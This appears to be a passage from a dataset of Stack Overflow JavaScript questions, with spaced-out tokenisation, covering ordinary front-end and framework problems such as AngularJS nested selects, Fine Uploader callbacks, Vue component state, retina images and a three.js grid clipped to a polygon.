//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < link rel= '' stylesheet '' href= '' https : //netdna.bootstrapcdn.com/bootstrap/3.1.0/css/bootstrap.min.css '' > < script src= '' https : //netdna.bootstrapcdn.com/bootstrap/3.1.0/js/bootstrap.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/summernote/0.5.0/summernote.min.js '' > < /script > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/summernote/0.5.0/summernote.css '' > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/summernote/0.5.0/summernote-bs3.css '' > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/font-awesome/4.0.3/css/font-awesome.min.css '' > < textarea name= '' summernote '' id= '' summernote '' cols= '' 30 '' rows= '' 10 '' > < /textarea > codeview = $ ( 'summernote ' ) .summernote ( 'code ' ) ; console.log ( codeview ) ; Regx = / ( \ < .*\s*\ { \ % [ ^ } ] *\ % \ } . *\s*\ > ) /g ; codeview.replace ( Regx , ' $ 1 ' ) ;",How to keep html attribute unchanged in wysiwyg editor ? "JS : In my app I have an array of objects with the following structureI 'd like to present this as a select menu which would allow a user to select a leaf node while still outputting non-selectable parent nodes to display the hierarchy of the structure.I 've tried a few approaches , the most successful of which was , in my angular template , something along the lines of the following . $ scope.allCats is the array above and $ scope.parentName ( ) method returns a string . The troubles with this are demonstrated in the following screenshot . Namely all parent items appear twice , once as an < option > and once as an < optgroup > , whereas I 'd rather they only appeared as a selectable item but with them being obviously a parent item , and the hierarchy of the structure is not maintained ; child nodes with ancestors and descendants do not appear in the correct 'family-tree ' structure.How can I alter my injected data or my angular template to achieve the behaviour I desire ? That is , to display the entire hierarchy , as defined by the parentID attributes so each family shares a common ancestor , and with parent items only appearing once.I suspect this is being complicated by the fact there is more than one level of descendants possible and because I would like to keep this as general as possible . [ { `` ID '' :1 , `` parentID '' :0 , `` name '' : '' Parent # 1 '' } , { `` ID '' :2 , `` parentID '' :0 , `` name '' : '' Parent # 2 '' } , { `` ID '' :3 , `` parentID '' :1 , `` name '' : '' Child # 1 1 '' } , { `` ID '' :4 , `` parentID '' :3 , `` name '' : '' child # 1 2 '' } , { `` ID '' :5 , `` parentID '' :2 , `` name '' : '' child # 2 1 '' } , { `` ID '' :6 , `` parentID '' :5 , `` name '' : '' child # 2 2 '' } ] < div ng-repeat= '' ( idx , category ) in $ scope.allCats '' > < select ng-model= '' $ scope.cats [ idx ] '' ng-options= '' cat as cat.name group by $ scope.parentName ( cat.parentID , idx ) for cat in $ scope.allCategories track by cat.ID '' > < option value= '' '' > Select A Category < /option > < /select > < /div >",ngSelect - Nesting options with arbitrary depth "JS : ES6 script using let runs as expected in latest Chrome stable if it 's inside a `` use strict '' definition . And it runs fine in Firefox if it is loaded using a script tag with the special type : But files with that special type now wo n't run in Chrome ! In Chrome no script runs : silent failure , no console messages . What is the cross-browser solution ? ( I want to know if this can be done without transpiling . ) < script type= '' application/javascript ; version=1.7 '' src= '' '' > < /script >",How to use 'let ' ( and supported ECMAScript 6 features ) in both Firefox and Chrome "JS : This is my code : I need to populate the field named `` text '' only with the first word from each a tag . An example of a tag value : '' FirstWord SecondWord ThirdWord '' The actual result is text : FirstWord SecondWord ThirdWord Desired result text : FirstWordI can postprocess the result.json file but i don´t like that way . var Xray = require ( ' x-ray ' ) ; var x = Xray ( ) ; x ( 'http : //someurl.com ' , 'tr td : nth-child ( 2 ) ' , [ { text : ' a ' , url : ' a @ href ' } ] ) .write ( 'results.json ' )",How to manipulate default value retrieved from x-ray scraper ( node.js ) "JS : I have autoUpload set to false , as I want to upload the images myself to my backend . However , to do this I first need the file object . In the callbacks onSubmitted event I 'm trying to pass the images id to the getFile method , to return the object . However , when I try to do this I get the below error message . in onSubmitted : id=0 | name=28603454_15219061700_r.jpg index.js:2178 [ Fine Uploader 5.16.2 ] Caught exception in 'onSubmitted ' callback - Can not read property 'uploader ' of nullI 'm guessing I get this because I 'm declaring a const object and referencing it at the same time , which I believe you can not do ... So , any ideas on how I can call methods within the callbacks function ? Or is there another way ? UpdateI 've now taken all of my fine-uploader code and created a new component with it . I 'm still facing the same problems . The component code below : FineUploader.jsxAnd -- On the main page now , I 'm importing FineUploader.jsx , and using the component . In my render method I have : const uploader = new FineUploaderTraditional ( { options : { maxConnections : 1 , autoUpload : false , deleteFile : { enabled : true , endpoint : `` /uploads '' } , request : { endpoint : `` /uploads '' } , retry : { enableAuto : true } , callbacks : { onSubmitted : function ( id , name ) { console.log ( `` in onSubmitted : id= '' + id + `` | name= '' + name ) ; // getFile ( id ) returns a ` File ` or ` Blob ` object . console.log ( this.uploader.getFile ( id ) ) ; } } } } ) ; import React , { Component } from `` react '' ; import FineUploaderTraditional from `` fine-uploader-wrappers '' ; import Gallery from `` react-fine-uploader '' ; import Filename from `` react-fine-uploader/filename '' ; import `` react-fine-uploader/gallery/gallery.css '' ; const util = require ( `` util '' ) ; const uploader = new FineUploaderTraditional ( { options : { // debug : true , maxConnections : 1 , autoUpload : false , deleteFile : { enabled : true , endpoint : `` /uploads '' } , request : { endpoint : `` /uploads '' } , retry : { enableAuto : true } , validation : { acceptFiles : `` .jpg , .png , .gif , .jpeg '' , allowedExtensions : [ `` jpg '' , `` png '' , `` gif '' , `` jpeg '' ] , itemLimit : 5 , sizeLimit : 5000000 } , callbacks : { onCancel : function ( ) { console.log ( `` in onCancel : `` ) ; } , onComplete : function ( id , name , responseJSON , xhr ) { console.log ( `` in onComplete : `` + id + `` | `` + name + `` | `` + responseJSON + `` | `` + xhr ) ; } , onAllComplete : function ( succeeded , failed ) { console.log ( `` in onAllComplete : `` + succeeded + `` | `` + failed ) ; } , onProgress : function ( id , name , uploadedBytes , totalBytes ) { console.log ( `` in onProgress : `` + id + `` | `` + name + `` | `` + uploadedBytes + `` | `` + totalBytes ) ; } , onError : function ( id , name , errorReason , xhr ) { console.log ( `` in onError : `` + id + `` | `` + name + `` | `` + errorReason + `` | `` + xhr ) ; } , onDelete : function ( id ) { console.log ( `` in onDelete : `` + id ) ; } , onDeleteComplete : function ( id , xhr , isError ) { console.log ( `` in onDeleteComplete : `` + id + `` | `` + xhr + `` | `` + isError ) ; } , onPasteReceived : function ( blob ) { console.log ( `` in onPasteReceived : `` + blob ) ; } , onResume : function ( id , name , chunkData , customResumeData ) { console.log ( `` in onResume : `` + id + `` | `` + name + `` | `` + chunkData + `` | `` + customResumeData ) ; } , onStatusChange : function ( id , oldStatus , newStatus ) { console.log ( `` in onStatusChange : `` + id + `` | `` + oldStatus + `` | `` + newStatus ) ; } , onSubmit : function ( id , name ) { console.log ( `` in onSubmit : `` + id + `` | `` + name ) ; } , onSubmitted : function ( id , name ) { console.log ( `` in onSubmitted : id= '' + id + `` | name= '' + name ) ; // getFile ( id ) returns a ` File ` or ` Blob ` object . // console.log ( this.uploader.getFile ( id ) ) ; // console.log ( uploader.getFile ( id ) ) ; // nothing here is working ... . : ( } , onUpload : function ( id , name ) { console.log ( `` in onUpload : `` + id + `` | `` + name ) ; } , onValidate : function ( data , buttonContainer ) { console.log ( `` in onValidate : `` + util.inspect ( data , { showHidden : true , depth : null } ) + `` | `` + buttonContainer ) ; } , onSessionRequestComplete : function ( response , success , xhrOrXdr ) { console.log ( `` in onSessionRequestComplete : `` + response + `` | `` + success + `` | `` + xhrOrXdr ) ; } } } } ) ; const fileInputChildren = < span > Click to Add Photos < /span > ; const statusTextOverride = { upload_successful : `` Success ! `` } ; class FineUploader extends Component { constructor ( ) { super ( ) ; this.state = { submittedFiles : [ ] } ; } componentDidMount ( ) { uploader.on ( `` submitted '' , id = > { const submittedFiles = this.state.submittedFiles ; console.log ( `` submittedFiles : `` + submittedFiles ) ; submittedFiles.push ( id ) ; this.setState ( { submittedFiles } ) ; } ) ; } render ( ) { return ( < div > { this.state.submittedFiles.map ( id = > ( < Filename id= { id } uploader= { uploader } / > ) ) } < Gallery fileInput-children= { fileInputChildren } status-text= { { text : statusTextOverride } } uploader= { uploader } / > < /div > ) ; } } export default FineUploader ; import FineUploader from `` ../../components/FineUploader '' ; < FineUploader / >",Ca n't call any fineUploader methods in callback function "JS : Let 's say that I have an AngularJS data service that makes a call to the server and returns an object that can be extended with additional methods . For example , assume the following function is part of an AngularJS service for something like NerdDinner.What 's the best practice for a place to define the Dinner class ? Is that a factory in a separate file ? Do I define that in the NerdDinner service ? Or do I define that in the GetDinner class ( assuming that 's the only method that can create dinners ) ? I did not find any specific reference to creating objects in the style guide , so forgive me if it 's covered and I just missed it.EditI ultimately decided to accept Jeroen 's answer because it most matched my needs for a rather simple use case . However , Daniel 's answer is pure gold , and should not be overlooked . If I chose to extend the functionality of my DTO with simple CRUD or additional server based operations , a $ resource is a great approach . function getDinner ( dinnerId ) { return $ http.get ( 'api/dinner/ ' + dinnerId ) .then ( loadDinnerComplete ) .catch ( loadDinnerFailed ) ; function loadDinnerComplete ( response ) { return new Dinner ( response.data ) ; } }","Using John Papa 's AngularJS style guide , what is the proper way to declare data objects ?" "JS : I have an Active panel with a dependent select i.e . the choice on the first dropdown select impacts what appears in the second drop-down.All was working perfectly well a few months ago but i just realized yesterday it is not working any more.I managed to find what cause the error : if I remove the eager loading ( `` include '' ) , then it works again.NOT WORKING : ( current version ) : I get this error ( form chrome dev tools 's Console ) WORKING , when I remove `` include '' / eager loading : It works perfecty in that case.But I really want to eager load deal subsectors so I wonder what is causing this error , what has changed since it was working . I have a few assumptions but ca n't find the culprit.Did Rails 4 change the way I should use find ( params [ : id ] .. ) or the way i should use eager loadingdid active Admin change the way it handles eager loading : maybe it only works on index and not on edit pages ... did turbolinks now on Rails 4 change the way i must eager load ? Here 's the code : - on Active Admin- the form with the 2 dependent selects- the javascript powering it : ADDED file @ deal_subsectors = DealSector.find ( params [ : deal_sector_id ] , include : : deal_subsectors ) .dealsubsectors GET http : //localhost:3000/admin/deals/deal_subsectors_by_deal_sector ? deal_sector_id=2 404 ( Not Found ) send @ jquery.js ? body=1:9660 jQuery.extend.ajax @ jquery.js ? body=1:9211 jQuery . ( anonymous function ) @ jquery.js ? body=1:9357 jQuery.extend.getJSON @ jquery.js ? body=1:9340 update_deal_subsector @ active_admin.js ? body=1:19 ( anonymous function ) @ active_admin.js ? body=1:12 jQuery.event.dispatch @ jquery.js ? body=1:4666 elemData.handle @ jquery.js ? body=1:4334 ListPicker._handleMouseUp @ about : blank:632 @ deal_subsectors = DealSector.find ( params [ : deal_sector_id ] ) .deal_subsectors ActiveAdmin.register Deal do # controller for the multi-select sector/subsector in the form # does 2 things at same time : creates method and automatically defines the route of the method defined in controller if params [ : deal_sector_id ] # pass the id @ deal_subsectors = DealSector.find ( params [ : deal_sector_id ] , include : : deal_subsectors ) .dealsubsectors else @ deal_subsectors = [ ] end render json : @ deal_subsectors end end form do |f|f.inputs `` Client '' do f.input : deal_sector_id , : label = > `` Select industry : '' , : as = > : select , : prompt = > true , : collection = > DealSector.order ( `` name '' ) .all.to_a f.input : deal_subsector_id , : label = > `` Select subindustry : '' , : as = > : select , : prompt = > true , : collection = > DealSubsector.order ( `` name '' ) .all.to_a endend // for edit page var deal_subsector = { } ; $ ( document ) .ready ( function ( ) { $ ( ' # deal_deal_sector_id ' ) .change ( function ( ) { update_deal_subsector ( ) ; } ) ; } ) ; function update_deal_subsector ( ) { deal_sector_id = $ ( ' # deal_deal_sector_id ' ) .val ( ) ; //get the value of sector id url = '/admin/deals/deal_subsectors_by_deal_sector ? deal_sector_id= ' + deal_sector_id ; //make a query to the url passing the deal sector id as a parameter $ .getJSON ( url , function ( deal_subsectors ) { console.log ( deal_subsectors ) ; $ ( ' # deal_deal_subsector_id ' ) .html ( `` '' ) //just blanks the id , blank it before populating it again if sector changes for ( i = 0 ; i < deal_subsectors.length ; i++ ) { console.log ( deal_subsectors [ i ] ) ; $ ( ' # deal_deal_subsector_id ' ) .append ( `` < option value= '' + deal_subsectors [ i ] .id + `` > '' + deal_subsectors [ i ] .name + `` < /option > '' ) } ; } ) ; //pass the url and function to get subsector ids and all we get is assigned to the variable subsector_id } ; // for index page ( filters ) $ ( document ) .ready ( function ( ) { $ ( ' # q_deal_sector_id ' ) .change ( function ( ) { update_deal_subsector_filter ( ) ; } ) ; } ) ; function update_deal_subsector_filter ( ) { deal_sector_id = $ ( ' # q_deal_sector_id ' ) .val ( ) ; //get the value of sector id url = '/admin/deals/deal_subsectors_by_deal_sector ? deal_sector_id= ' + deal_sector_id ; //make a query to the url passing the deal sector id as a parameter $ .getJSON ( url , function ( deal_subsectors ) { console.log ( deal_subsectors ) ; $ ( ' # q_deal_subsector_id ' ) .html ( `` '' ) //just blanks the id , blank it before populating it again if sector changes for ( i = 0 ; i < deal_subsectors.length ; i++ ) { console.log ( deal_subsectors [ i ] ) ; $ ( ' # q_deal_subsector_id ' ) .append ( `` < option value= '' + deal_subsectors [ i ] .id + `` > '' + deal_subsectors [ i ] .name + `` < /option > '' ) } ; } ) ; //pass the url and function to get subsector ids and all we get is assigned to the variable subsector_id } ; class DealSector < ActiveRecord : :Base has_many : deal_subsectorsendclass DealSubsector < ActiveRecord : :Base belongs_to : deal_sector , : foreign_key = > 'deal_sector_id'end",Rails 4 - eager loading on dependent select causing error ( Rails4/Active Admin ) "JS : I have a JSON object in this format.What I want to doFrom a set of specified headers , get it from the `` line id '' : `` 0 '' and set it to the other items.For Example : headers = [ `` time '' , `` minage '' , `` maxage '' ] I get these from the `` line id '' : `` 0 '' and give it to others like this.and then remove the element with `` line id '' : `` 0 '' , like this : It is said that the 1st element would be a `` line id '' : `` 0 '' .What I 've tried : Everything works fine and as intended . Is there a way to reduce the time-complexity of this and make it more efficient . This now has a time complexity of O ( n * m ) .Is there a way around of adding these few objects to all the elements ? As the key value pairs to be added for all the entries remain the same . [ { `` name '' : `` schoolname '' , `` line id '' : `` 0 '' , `` time '' : `` 4-5 '' , `` minage '' : `` 15 '' , `` maxage '' : `` 35 '' } , { `` name '' : `` studentname1 '' , `` line id '' : `` 1 '' , `` class '' : `` A '' } , { `` name '' : `` studentname2 '' , `` line id '' : `` 2 '' , `` class '' : `` B '' } ] [ { `` name '' : `` schoolname '' , `` line id '' : `` 0 '' , `` time '' : `` 4-5 '' , `` minage '' : `` 15 '' , `` maxage '' : `` 35 '' } , { `` name '' : `` studentname1 '' , `` line id '' : `` 1 '' , `` class '' : `` A '' , `` time '' : `` 4-5 '' , `` minage '' : `` 15 '' , `` maxage '' : `` 35 '' } , { `` name '' : `` studentname2 '' , `` line id '' : `` 2 '' , `` class '' : `` B '' , `` time '' : `` 4-5 '' , `` minage '' : `` 15 '' , `` maxage '' : `` 35 '' } ] [ { `` name '' : `` studentname1 '' , `` line id '' : `` 1 '' , `` class '' : `` A '' , `` time '' : `` 4-5 '' , `` minage '' : `` 15 '' , `` maxage '' : `` 35 '' } , { `` name '' : `` studentname2 '' , `` line id '' : `` 2 '' , `` class '' : `` B '' , `` time '' : `` 4-5 '' , `` minage '' : `` 15 '' , `` maxage '' : `` 35 '' } ] var headers = [ `` time '' , `` minage '' , `` maxage '' ] var data = [ { `` name '' : `` schoolname '' , `` line id '' : `` 0 '' , `` time '' : `` 4-5 '' , `` minage '' : `` 15 '' , `` maxage '' : `` 35 '' } , { `` name '' : `` studentname1 '' , `` line id '' : `` 1 '' , `` class '' : `` A '' } , { `` name '' : `` studentname2 '' , `` line id '' : `` 2 '' , `` class '' : `` B '' } ] ; for ( var i = 1 ; i < data.length ; i++ ) //iterate over the data leaving the 1st line { for ( var j = 0 ; j < headers.length ; j++ ) //add each header to the data lines { data [ i ] [ headers [ j ] ] = data [ 0 ] [ headers [ j ] ] ; } } data.splice ( 0,1 ) ;",Adding object properties into a JSON object "JS : On my website , when clicking on links , I need to display a modal popup ( see also this solution ) that : sometimes shows an external website ( link # 1 below ) sometimes shows just a JPG image ( link # 2 below ) Problem : when displaying : external website in a modal popup , the size is ok ( see link # 1 ) jpeg image in a modal popup , the size is not ok , in the sense it does n't adapt to the screen ( see link # 2 ) : jpeg image in a new window , the size is ok , automatically adapted to fit to screen ( see link # 3 ) Question : How to make that a JPG image displayed in a modal popup iframe auto-adapts its size , i.e . if the JPG 's height is high , it 's automatically resized ? i.e . exactly like it would happen when displaying the image in a new window ( see link # 3 ) PS : do n't forget to enable Load unsafe scripts in browser when trying this code snippet . If not , iframes wo n't be displayed.Or use this live demo jsfiddle . document.getElementById ( `` link1 '' ) .onclick = function ( e ) { e.preventDefault ( ) ; document.getElementById ( `` popupdarkbg '' ) .style.display = `` block '' ; document.getElementById ( `` popup '' ) .style.display = `` block '' ; document.getElementById ( 'popupiframe ' ) .src = `` http : //example.com '' ; document.getElementById ( 'popupdarkbg ' ) .onclick = function ( ) { document.getElementById ( `` popup '' ) .style.display = `` none '' ; document.getElementById ( `` popupdarkbg '' ) .style.display = `` none '' ; } ; return false ; } document.getElementById ( `` link2 '' ) .onclick = function ( e ) { e.preventDefault ( ) ; document.getElementById ( `` popupdarkbg '' ) .style.display = `` block '' ; document.getElementById ( `` popup '' ) .style.display = `` block '' ; document.getElementById ( 'popupiframe ' ) .src = `` https : //i.imgur.com/pz2iPBW.jpg '' ; document.getElementById ( 'popupdarkbg ' ) .onclick = function ( ) { document.getElementById ( `` popup '' ) .style.display = `` none '' ; document.getElementById ( `` popupdarkbg '' ) .style.display = `` none '' ; } ; return false ; } document.getElementById ( `` link3 '' ) .onclick = function ( e ) { window.open ( 'https : //i.imgur.com/pz2iPBW.jpg ' , 'newwindow ' , 'width=700 , height=500 ' ) ; e.preventDefault ( ) ; return false ; } # popup { display : none ; position : fixed ; top : 12 % ; left : 15 % ; width : 70 % ; height : 70 % ; background-color : white ; z-index : 10 ; } # popup iframe { width : 100 % ; height : 100 % ; border : 0 ; } # popupdarkbg { position : fixed ; z-index : 5 ; left : 0 ; top : 0 ; width : 100 % ; height : 100 % ; overflow : hidden ; background-color : rgba ( 0,0,0 , .75 ) ; display : none ; } < div id= '' main '' > < a href= '' '' id= '' link1 '' > Click me ( website , modal popup ) < /a > < br > < a href= '' '' id= '' link2 '' > Click me ( jpg image , modal popup ) < /a > < br > < a href= '' '' id= '' link3 '' > Click me ( jpg image , new window ) < /a > < br > < /div > < div id= '' popup '' > < iframe id= '' popupiframe '' > < /iframe > < /div > < div id= '' popupdarkbg '' > < /div >",External website / image size when displayed in a modal popup + iframe "JS : I want to display a message when the < section > is “ empty ” . Inside the < section > , I can have an unknown number of < ul > and inside it an unknown number of < li > . When I click on “ x ” button it removes that < li > . Here ’ s the HTML : I want to ignore the < li > element that shows the date ( hence the “ empty ” , because it ’ s not really empty ) . To do that , I check if the < li > has a class .notification . If it has , increase the counter . I do that upon clicking the “ x ” button that has a class .js-connect-invite -- ignore : See demo : http : //jsfiddle.net/CCECK/However , it ’ s not working properly as the logic is wrong . Do I need to add two counters ? How can upon clicking “ x ” check all the other elements and if that is the last < li class= '' notification '' > display an alert ? Thanks ! < section > < ul > < li class= '' row row -- half-padding-top-bottom '' > < span > October 2013 < /span > < /li > < li class= '' notification notification -- new '' > < span > < span > Franck Ribery < /span > < span > Bayern Munich < /span > < /span > < span class= '' accept-ignore-container '' > < button class= '' js-animate-onclick -- parent '' title= '' Accept '' > Accept < /button > < button class= '' js-connect-invite -- ignore '' > & times ; < /button > < /span > < /li > < li class= '' notification notification -- new '' > < span > < span > Arjen Robben < /span > < span > Bayern Munich < /span > < /span > < span class= '' accept-ignore-container '' > < button class= '' js-animate-onclick -- parent '' title= '' Accept '' > Accept < /button > < button class= '' js-connect-invite -- ignore '' > & times ; < /button > < /span > < /li > < /ul > < ul > < li class= '' row row -- half-padding-top-bottom '' > < span > September 2013 < /span > < /li > < li class= '' notification notification -- new '' > < span > < span > Franck Ribery < /span > < span > Bayern Munich < /span > < /span > < span class= '' accept-ignore-container '' > < button class= '' js-animate-onclick -- parent '' title= '' Accept '' > Accept < /button > < button class= '' js-connect-invite -- ignore '' > & times ; < /button > < /span > < /li > < /ul > < /section > var counter ; $ ( '.js-connect-invite -- ignore ' ) .on ( 'click touchstart ' , function ( ) { var ul = $ ( this ) .closest ( 'section ' ) .children ( ) ; $ ( ul ) .each ( function ( ) { var li = $ ( this ) .children ( ) ; counter = 0 ; $ ( li ) .each ( function ( ) { if ( $ ( this ) .is ( '.notification ' ) ) { console.log ( 'yes ' ) ; counter ++ ; } } ) } ) console.log ( counter ) ; } )",Iterate through list and show message when empty jQuery "JS : I am working on a medium size web application based on vue.js . I 've been facing several virtual DOM issues mostly related to vue instances life cycle.The following code snippet ( jsFiddle also available here ) demonstrates some of these problems . The test-component vue component receives a property value and updates its internal state using that value.Whenever the data set changes ( by sorting or by new data ) , the properties are updated , but the internal state is not . This is pretty easy to see by running the code snippet and clicking on the buttons.I understand the data component attribute is a function and it looks like it is invoked only when the component is created . That kind of explains what is going on . The thing is I do n't know how to achieve the intended behavior which is : all the children components internal state to be updated whenever the data source changes . Is there a life cycle callback that triggers when the component is '' refreshed '' ? I want a component refresh only callback . Do I need to watch for prop changes individually ? That would be ugly.Is there a clean way to update the internal state when the props change ? Is it possible to destroy all children components and force them to be recreated ? I know this is not the best option but it would solve all my data binding problems : ) How does vue decides when a component will be released or reused ? In my example components go away when the data set size changes from 4 to 3 , but the first 3 items internal state do n't change so the first three items are being recycled . Moving all the state to vuex would be a possible solution but some components are generic and I do n't want them to contain knowledge about the vuex store details . Actually I am using vuex for most components , but for truly generic components I do n't think it is a good option . var testComponent = Vue.component ( 'test-component ' , { template : ' # component_template ' , props : [ 'prop1 ' ] , data : function ( ) { return { internalState : this.prop1 } } } ) new Vue ( { el : `` # app '' , data : function ( ) { return { items : [ 'Item 1 ' , 'Item 2 ' , 'Item 3 ' ] , dataToggle : true , sorted : true } ; } , methods : { sortDataSet : function ( ) { if ( this.sorted ) { this.items.reverse ( ) ; } else { this.items.sort ; } } , changeDataSet : function ( ) { if ( this.dataToggle ) { this.items = [ 'Item 4 ' , 'Item 5 ' , 'Item 6 ' , 'Item 7 ' ] ; } else { this.items = [ 'Item 1 ' , 'Item 2 ' , 'Item 3 ' ] ; } this.dataToggle = ! this.dataToggle ; } } } ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/vue/2.3.2/vue.js '' > < /script > < body > < h3 > Components internal state is not being updated < /h3 > < div id= '' app '' > < button v-on : click= '' changeDataSet '' > Change data < /button > < button v-on : click= '' sortDataSet '' > Sort data < /button > < ul > < li v-for= '' item in items '' > < test-component : prop1= '' item '' > < /test-component > < /li > < /ul > < /div > < /body > < script id= '' component_template '' type= '' x-template '' > < div > Prop : { { prop1 } } || Internal state : { { internalState } } < /div > < /script >",Vue.js components internal state being reused when underlying data changes "JS : I 'm trying to come up with something along the lines of Google Calendar ( or even some gmail messages ) , where freeform text will be parsed and converted to specific dates/times.Some examples ( assume for simplicity that right now is January 01 , 2013 at 1am ) : First of all I 'll ask this - are there any already existing open source libraries that this ( or part of this ) . If not , what sort of approaches do you think I should take ? I am thinking of a few different possibilities : Lots of regular expressions , as many as I can come up with for each different use caseSome sort of Bayesian Net that looks at n-grams and categorizes them into different scenarios like `` relative date '' , `` relative day of week '' , `` specific date '' , `` date and time '' , and then runs it through a rules engine ( maybe more regex ) to figure out the actual date.Sending it to a Google search and try to extract meaningful information from the search results ( this one is probably not realistic ) `` I should call Mom tomorrow to wish her a happy birthday '' - > `` tomorrow '' = `` 2013-01-02 '' '' The super bowl is on Feb 3rd at 6:30pm '' - > `` Feb 3rd at 6:30 '' = > `` 2013-02-03T06:30:00Z '' '' Remind me to take out the trash on Friday '' = > `` Friday '' = > `` 2013-01-04 ''",How can I extract datetime from freeform text ? "JS : I am using blessed and I am trying to add a prompt to my application . It works fine , but I ca n't read its text . I have prepared a minimal example , that illustrates , what I see.I would like to know how I can style the text in the inputs . The style-Attributes as mentioned in the docs seem to have no effect.Here 's what I see ( there is text in the input and on the two buttons , but it is black on black ) .Here 's code that reproduces the error on Debian 9 with standard terminal and standard theme : var blessed = require ( 'blessed ' ) ; var screen = blessed.screen ( { } ) ; var prompt = blessed.prompt ( { left : 'center ' , top : 'center ' , height : 'shrink ' , width : 'shrink ' , border : 'line ' , } ) ; screen.append ( prompt ) ; screen.key ( [ ' q ' , ' C-c ' ] , function quit ( ) { return process.exit ( 0 ) ; } ) ; screen.render ( ) ; prompt.input ( 'Search : ' , 'test ' , function ( ) { } ) ;",Blessed `` Prompt '' is black on black by default - how do I style it ? "JS : We 're currently building a website for mobile devices . Supported operating systems and browsers should be : Android 4.x ( Stock Browser , Google Chrome ) iOS6+ ( Safari , Google Chrome ) In order to also support high resolution displays we evaluated various techniques and libraries to automatically replace images with their high-res pendants : Attempt 1 : retina.jshttp : //retinajs.com/The first attempt was to use a normal < img > Tag like this : < img src= '' foo.png '' > and use retina.js to let it automatically replace the src Attribute with the name of the retina image ( foo @ 2x.png ) . This works but has 2 downsides : First , it will create unwanted overhead because both , the original as well as the retina image , would be loaded and second , if there is no retina image available it will cause lots of 404 errors on server log which we do not want.Attempt 2 : picturefill.jshttps : //github.com/scottjehl/picturefillThis framework uses some weird html markup based on < span > elements . For me it looks like as if the author tried to mimic the proposed < picture > element which is not a standard ( yet ) , see http : //picture.responsiveimages.org - I do n't like this approach because of the weird markup . For me it does n't make sense to semantically describe images with spans.Attempt 3 : Replace images via CSS property background-imageI see sometimes people using CSS media queries to detect retina displays and then set a background-image on a div ( or similar element ) with a higher or lower solution picture . I personally do n't like this approach either because it completely discourages creating semantically good markup à la < img src= '' foo.png '' > . I ca n't imagine building a website just with div 's and then set all images as background images - This just feels very weird.Attempt 4 : Set images via CSS property content : url ( ... ) As proposed here Is it possible to set the equivalent of a src attribute of an img tag in CSS ? it seems to be possible to overwrite the src Attribute in img Tags via CSS using the property content : url ( ) . Now , here is the plan : We set img tags for each image with a transparent blank 1x1 png referenced in its src attribute , like this : < img id= '' img56456 '' src= '' transp_1x1.png '' alt= '' img description '' > . Now this is semantically ok and also valid against the W3C validator . Then we load a CSS Stylesheet that sets all the images on the website via Media Queries.Example : Now , this approach works pretty good : No overheadSolid markupWorks on the required devices/browsersSEO for Images is not requirement hereNow , could this approach cause any side effects we did n't think of ? I am just asking because I know it works but kinda `` feels '' weird to set all images via CSS and I also found this comment on this approach on SO Is it possible to set the equivalent of a src attribute of an img tag in CSS ? : `` Worth to add that even in browsers that support assigning content to img , it changes its behavior . The image starts to ignore size attributes , and in Chrome/Safari it loses the context menu options like 'Save image ' . This is because assigning a content effectively converts img from empty replaced element to something like < span > < img > < /span > '' Could this be a problem ? ( I did n't notice any sizing problems and the context menu is not a requirement ) # img56456 { content : url ( foo.png ) } @ media ( -webkit-min-device-pixel-ratio : 2 ) { # img56456 { content : url ( foo @ 2x.png ) } }",Good or bad idea : Replacing all images on a mobile website with CSS property `` content : url ( ) '' for retina displays "JS : What is the best way to keep order of nested objects in the schema.My schema : This is how I 'm trying to sort the pages ( unsuccessfully ) : The resolver : I understand why this approach is wrong . I guess that the order should be written in the database by an order index in the connection table . I do n't know how to process that by GraphQL/Nexus/Prisma/MySQL . type Article { id : ID ! @ id pages : [ Page ! ] ! } type Page { id : ID ! @ id } updateArticle ( { variables : { aricle.id , data : { pages : { connect : reorderPages ( aricle.pages ) } } } t.field ( `` updateArticle '' , { type : `` Article '' , args : { id : idArg ( ) , data : t.prismaType.updateArticle.args.data } , resolve : ( _ , { id , data } ) = > { return ctx.prisma.updateArticle ( { where : { id } , data } ) ; } } ) ;",Nexus-prisma : order nested connections "JS : document.querySelectorAll ( ' a : visited ' ) always returns empty NodeList , even if the DOM has some visited links.I have tried it in Chrome . Is there any know bug or is it expected behavior ? While : visited works perfectly fine if I use it in the style sheet instead of querySelectorAll.I think pseudo classes are allowed as the parameter of querySelectorAll ( ) . a : visited { color : yellow ; }",document.querySelectorAll ( ' a : visited ' ) does n't work "JS : I have horizontal grid Helper and polygon in scene.Is there any way of hiding grid out of the polygon like below image ? Here is the JSFiddleAny suggestion would be appreciated ! var camera , scene , renderer , controls , geometry , material , mesh , gridHelper , polygon ; var edges = [ { `` x '' : -204.87113421108512 , `` y '' : -150 , `` z '' : 350.73338884671745 } , { `` x '' : -204.87113421108535 , `` y '' : -150 , `` z '' : -38.02713383973953 } , { `` x '' : -83.08211641046344 , `` y '' : -150 , `` z '' : -39.62530388610881 } , { `` x '' : -78.88807649109879 , `` y '' : -150 , `` z '' : -538.3155247201529 } , { `` x '' : 220.63777329601388 , `` y '' : -150 , `` z '' : -535.796479191672 } , { `` x '' : 220.63777329601444 , `` y '' : -150 , `` z '' : 176.94968924487634 } , { `` x '' : -53.07402331399715 , `` y '' : -150 , `` z '' : 176.9496892448766 } , { `` x '' : -53.07402331399726 , `` y '' : -150 , `` z '' : 350.41591086077415 } ] ; init ( ) ; animate ( ) ; function init ( ) { scene = new THREE.Scene ( ) ; renderer = new THREE.WebGLRenderer ( { alpha : true , antialias : true } ) ; renderer.setPixelRatio ( window.devicePixelRatio ) ; renderer.setSize ( window.innerWidth , window.innerHeight ) ; renderer.setClearColor ( 0x555555 , 1 ) ; renderer.sortObjects = true ; document.body.appendChild ( renderer.domElement ) ; camera = new THREE.PerspectiveCamera ( 50 , window.innerWidth / window.innerHeight , 1 , 10000 ) ; scene.add ( camera ) ; camera.position.x = 1000 ; camera.position.y = 2000 ; camera.position.z = -1000 ; controls = new THREE.OrbitControls ( camera ) ; gridHelper = new THREE.GridHelper ( 1500 , 30 ) ; gridHelper.position.y = -150 ; scene.add ( gridHelper ) ; var shape = new THREE.Shape ( ) ; let firstEdge = edges [ 0 ] ; shape.moveTo ( firstEdge.x , -firstEdge.z ) ; const len = edges.length ; for ( let i = 